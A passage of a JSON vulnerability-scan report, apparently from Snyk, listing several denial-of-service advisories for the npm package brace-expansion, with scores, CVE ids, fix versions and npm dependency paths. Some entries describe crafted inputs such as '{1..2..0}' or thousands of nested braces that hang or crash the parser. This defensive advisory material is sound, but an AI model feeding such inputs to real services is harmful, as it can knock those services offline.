"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
